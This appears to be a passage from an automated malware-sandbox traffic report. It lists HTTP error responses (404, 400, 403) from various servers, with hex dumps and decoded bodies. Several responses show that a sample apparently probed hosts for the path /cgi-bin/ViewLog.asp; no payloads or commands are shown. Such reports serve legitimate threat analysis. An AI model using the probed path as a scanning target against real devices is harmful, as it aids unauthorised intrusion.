Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:18:36 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 33 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:36 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:18:37 GMTServer: Apache/2.4.6Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 33 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:37 GMTServer: Apache/2.4.6Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:16:46 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 36 3a 34 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:16:46 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 05:50:18 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 21 Mar 2024 04:18:44 GMTContent-Type: text/htmlContent-Length: 525Connection: keep-aliveETag: "622f06cd-20d"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:18:45 GMTServer: Apache/2.2.22 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 242Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f 41 6b c3 30 0c 85 ef f9 15 5a 4f db a1 56 12 0a db c1 18 da 26 65 85 ac 0b 9b 3b d8 d1 a9 b5 c6 d0 d9 99 ed ae ec df cf 49 19 8c 07 02 49 ef 13 4f fc a6 7a 5e cb f7 b6 86 47 f9 d4 40 bb 5f 35 db 35 cc e6 88 db 5a 6e 10 2b 59 5d 37 25 cb 11 eb dd 4c 64 bc 8f 9f 27 c1 7b 52 3a 35 d1 c4 13 89 45 be 80 9d 8b b0 71 67 ab 39 5e 87 19 c7 c9 c4 3b a7 7f 46 ae 10 ff 3c a9 cb f8 20 64 4f e0 e9 eb 4c 21 92 86 fd 4b 03 78 38 9a 79 67 2c be 19 ba 34 ee c8 54 18 e0 a2 02 d8 04 7f 8c 30 38 0b b1 37 01 02 f9 6f f2 8c e3 30 9e f7 a9 28 ad 3d 85 20 96 83 3a f4 84 25 4b 2a e1 b6 a2 ce 28 7b 07 af 13 00 2a 42 51 de b3 3c a9 80 d6 f9 08 0f 39 c7 3f 36 e5 9e 12 a7 8c e3 a7 d9 2f 67 ca ef 29 24 01 00 00 Data Ascii: MAk0ZOV&e;IIOz^G@_55Zn+Y]7%Ld'{R:5Eqg9^;F< dOL!Kx8yg,4T087o0(= :%K({BQ<9?6/g)$
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 15:18:45 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 15:18:45 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 708date: Thu, 21 Mar 2024 04:18:15 GMTvary: User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Mar 2024 04:18:47 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 21 Mar 2024 04:18:49 GMTServer: Apache/2.4.38 (Debian)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 34 39 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:49 GMTServer: Apache/2.4.38 (Debian)Content-Length: 301Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.25.3Date: Thu, 21 Mar 2024 04:18:52 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.25.3</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 21 Mar 2024 04:18:54 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=2, max=1000Transfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 33 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 46 6f 72 62 69 64 64 65 6e 0d 0a 31 66 63 63 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 37 66 37 66 37 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 